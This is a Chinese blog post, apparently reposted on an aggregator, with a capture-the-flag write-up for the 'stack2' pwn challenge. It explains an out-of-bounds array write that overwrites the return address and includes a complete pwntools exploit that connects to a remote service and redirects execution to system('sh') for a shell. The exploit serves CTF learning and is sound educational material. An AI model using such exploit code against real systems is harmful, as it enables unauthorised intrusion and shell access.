首页 > 其他 > 详细

stack2

时间:2020-12-19 12:20:33      阅读:71      评论:0      收藏:0      [点我收藏+]

安全检查

技术分享图片

 

 流程分析

经分析,很容易知道这里的数组可以进行越界来修改返回地址的值

技术分享图片

 

有后门函数

技术分享图片

 

 

 漏洞利用

  • 通过数组溢出修改返回值,到达后门函数
  • 不过我在本地打通后,远程打得时候发现没有后门函数也就是/bin/bash not found 当时有点懵逼,并且对linux命令不太熟悉的我,想了很久没结果后,看了wp后,发现可以值截取sh即可

exp

from pwn import *
def change(offest,by):
    p.sendafter(‘exit‘,‘3\n‘)
    p.sendafter(‘r to change:‘,str(offest)+‘\n‘)
    p.sendafter(‘number:‘,str(by)+‘\n‘)


#p=process(‘./pwn‘)
p=remote(‘220.249.52.134‘,53030)
p.recvuntil("How many numbers you have:\n")
p.sendline("1")
p.recvuntil("Give me your numbers\n")
p.sendline("1")

change(0x74+0x10,0x50)
change(0x75+0x10,0x84)
change(0x76+0x10,0x04)
change(0x77+0x10,0x08)
change(0x7c+0x10,0x87)
change(0x7d+0x10,0x89)
change(0x7e+0x10,0x04)
change(0x7f+0x10,0x08)

p.recvuntil(‘exit‘)
p.sendline(‘5‘)
p.interactive()

 

stack2

原文:https://www.cnblogs.com/pppyyyzzz/p/14158135.html

踩
(0)
赞
(0)
   
举报
评论 一句话评论(0)
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!